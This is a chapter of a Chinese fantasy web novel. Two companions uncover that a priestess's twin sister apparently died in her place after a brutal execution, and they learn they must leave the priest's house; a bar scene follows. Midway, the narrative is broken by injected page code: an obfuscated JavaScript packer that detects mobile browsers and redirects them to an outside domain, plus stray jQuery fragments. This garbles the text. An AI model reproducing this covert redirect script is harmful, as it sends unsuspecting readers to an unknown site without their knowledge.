当然，时间跨度可能会很长，长到生物有时间来完成漫长的、奇异的演化。


    奥林：“嗯，我会多加留意的。”


    舒展开身体，山海惬意地躺在草地上，拍了拍身边的地面，邀请起奥林：“躺下聊吧，盘腿坐对腰椎损伤很大的。”


    面对她的邀约，奥林没有立刻动作。他犹豫了一下，但最后还是改变了自己的姿势，缓缓躺下。后背和地面相接时，他小声地“嘶”了一下。


    捕捉到他的异常，山海支起耳朵问道：“你受伤了？”


    “没事，已经好多了。”


    奥林简单地回答了山海的问题，但他立刻意识到什么，心底暗道不好。偏过头去，他果然看到山海已作势要起身，赶忙制止住了对方。


    意识到不满足山海的好奇心，她定会耿耿于怀，甚至可能会半夜来偷偷脱自己的衣服，奥林叹气一声，有些无奈地说道：“没有伤口，你也看不到颜色，没必要观察了吧。”


    山海跃跃欲试：“我也可以摸摸看。”


    “别！”


    头疼地扶额，奥林选择主动解释造成他背后伤势的原因：“应该是因为昨晚的事。在主祭点上我额头时，我不仅接收到了有关的知识，也在不知情的情况下缔结了一个契约：如果契约人行为对本南丹蒂有害，就会反应在身体的疼痛上。


    “至于行为有害与否，是由契约人自己来判断的，很遗憾，我对自己很坦诚。别误会，这不止是因为帮了你，我还做了别的事。”


    山海若有所思：“这意味着你被绑定了本南丹蒂阵营，没办法解绑的那种？”


    “目前来看是这样，不过没有办法，高利润总会伴着高风险，而且我觉得这个交易还算划算——不仅获知了很多有用的信息，了解了巴特族和他们信奉的德兰教历史，还学了些实用的小法术。”


    一边说着，奥林一边掏出了粒棕色的种子。


    将种子放在手心处，他念出一段韵调特殊的古怪语言，数秒后，种子生出绿芽，幼嫩的白色根系颤颤地发散开来，整个过程流畅无比。


    最后，这粒种子长成了一株鹅黄色的小花，整体完整得好像刚从土里拔出来一样。


    “给你拿着吧，反正总的来说，生命之母不负祂的名头，”把小花放到山海手上，奥林摸了下鼻尖，突然又想起了什么：“有件事要跟你说，我昨天得知了主祭的名字：英格丽德。所以我今天去查了查，最近几十年的女性镇民里，叫这个名字的共有三人。


    “其中一个幼时夭折，另一名现在将近六十岁，但她是彻彻底底的美特斯人，绝不可能拥有巴特人的血统；最后只有剩下的那人符合要求，但是她应该在八年前的清理里死了。”


    顺手将花别在耳边，山海安静地聆听着。


    “英格丽德·罗斯金，那时候她是叛乱的领头人，所以下场有着很详尽的记录：在和自己的族人一起被抓获后，她受到了‘特别’的款待。先是被折磨得不成人形，而后钉在广场中心的尖木桩上示众七日。她的尸/体被分成数块喂狗，头骨则作为战利品，送到了当时捕获她的骑士手中。”


    被钉在木桩上的受刑人往往无法立即死去，会在剧痛下苟延残喘，最后于众目睽睽下咽气。


    这种名为“刺刑”的恶行主要作用是起到心理震慑，用令人心惊肉跳的下场警诫他人。


    抿紧嘴唇，山海表情严肃：“这种情况下，她绝不可能存活。”


    可在现实中，主祭活蹦乱跳地出现在他们面前，只是皮肤布满伤痕。


    奥林：“的确如此，但如果当时死去的不是她呢？”


    留下一句意味深长的话，奥林继续说道：“英格丽德的母亲死于难产，造成这一结果的原因之一是，她肚子里的孩子是一对双胞胎：英格丽德·罗斯金和她的姐姐，丝塔西·罗斯金。她们有着一模一样的长相，连她们的父亲有时都辨认不出谁是谁。


    “丝塔西·罗斯金并没有参与叛乱，所以并不在清理的名单中，但她还是死了。对于她的下场，周围人的说法是，她意外死在了英格丽德行刑前的一场大火。当然，这无从考证，因为所有被烧焦的尸体都辨别不出身份，只能靠亲人来认领。”


    山海心下了然：“所以你想说，是英格丽德主祭的姐姐代替她死去了。”


    “对，而且还有一件事，我觉得有必要说出来：主祭的姐姐正是亚摩斯·特里的母亲。”


    两人再次沉默下来。奥林叹了口气，“亚摩斯·特里经历过这些事后，会做出什么？”


    他们都知道，当时所有的巴特人都被迫观看行刑过程，而那一年，亚摩斯也不过十余岁而已。


    围绕这个问题，两人最终也没得出结论。不久后，打更声远远传来，震起一片飞鸟，提醒小镇时候已晚。


    收拾好各自的物品，两人并肩原路返回住所。


    尔尔亚镇已一片沉寂，家家户户都熄灭了烛光。打开大门后，奥林“咦”了下，弯腰捡起地上的事物。


    这是一封从门下塞进的信件，来自镇长卡米拉。


    她写的内容很简略，大意是她收到了另一所修道院院长的口信，对方声称可以派出一位真正的牧师上任，而卡米拉也给出了同意的答复，如此一来，新的牧师大概会在半个月后抵达。


    这昭示着山海的牧师生涯即将走到尾声，同时在卸任之前，山海和奥林需要从这间属于牧师的房子搬离。


    应该是作为补偿，卡米拉镇长随信还奉送了两个月的薪水，可以说是很人道了。


    在奥林读信时，山海已坐到扶手椅上，托着脸安静地听着。


    “唔，好惨，”嘴上如是说着，她却丝毫不显烦恼，反而干劲十足：“所以我们下一个住所选在哪里？刚刚那片山坡很不错，在上面盖一栋房子怎么样，我们自己来。在那之前也可以睡在灌木丛里，我还没试过钻木取火呢！”


    奥林放下信纸后，便拿起笤帚开始清理地面，闻言


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931689|154050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，他对山海天马行空的想象泼了一盆冷水：“野人生活恐怕没有你想的那么美妙，小姐。也许我们可以去英格丽德家。”他提出了自己的想法。


    将手中的帕子揉成一团，山海把它精准地扔到了奥林肩上。


    她哼哼了两声，故意反问道：“哪个英格丽德，是一直戴着面具的那个吗？”


    “当然是那位上年纪的女士，她和丈夫唯一的孩子几个月前人间蒸发，为此郁郁寡欢。今天我们聊得挺投机，她很热情地邀请我们常去拜访她。”


    知道山海是在故意挑刺，奥林翻了个白眼，用两根手指捏起她的手帕，用力掸了掸，又扔了回去，“除此之外，她还拜托我帮忙寻找她的儿子，给了我这个胸针作为线索，想必她会接受我们的请求。”


    从口袋里翻出一个小巧的黄铜胸针，奥林将它在山海面前晃了一下，“当然，如果你觉得不太满意，我们也可以去找那位执行官，就说‘嘿，我是你未来的后代，赶快给我们一个住的地方！’这也有极小的概率会成功。”


    听到奥林后面那个不怀好意的提议，山海一下撒了气。她倒不是怎么惧怕米歇尔，但那人相处起来麻烦得很，想想便令人头疼。


    “算了，反正也不是很迫切，说不定我们等不到那时候，就被抓进了监牢呢，吃住都解决了。”


    奥林：“好主意，每天什么也不用干，只需静等人头落地——抬一下脚。”


    配合地缩回扶手椅上，山海秀气的眉毛蹙在一起。她拉长声音，用有气无力的声音回道：“可我还是想自己建房子——”


    “停，停，明天我去做曲奇，形状做成长方形，你可以用曲奇搭房子，这样可以吗？”


    奥林再次叹了口气，他对碎碎念是真的束手无策。


    能吃的房子可比吃不了的实用多了，有了这句话，山海立刻一扫阴霾，给了奥林一个大力的拥抱。


    一口气没呼吸上来，奥林只得发出无力的叫喊：“我的后背，还有肋骨……”


    ——————


    晌午时分，安乐乡酒吧二楼的一个房间。


    乔·布罗德仍沉浸在梦乡中。


    她的眼睑抖动着，右手死死捏住床单，指节因过于用力而发白，似乎在逃离什么无形的恐怖力量。


    额头沁出的细密汗珠浸湿了鬓角的碎发，她的呼吸越发急促了。


    就在此时，屋外突然传来沉闷的敲门声，那声音似乎打破了乔梦境与现实间的结界，她剧烈地颤抖了两下，在巨大的失重感中猛然惊醒。


    “乔，你醒了吗？有人点了杯特调的肯尔新沃黄昏，皮特说让我跟你说一下。”


    问话的是酒吧雇佣的一位巴特族男生，他平时主要负责一些打杂的工作。听到客人的要求后，他立刻到菜单上翻找了一下，却发现没有这份饮品，还是过路的皮特老板告知了他，这是只有乔才会调制的饮品。


    特调的肯尔新沃黄昏，这条暗语乔只告诉过两个人。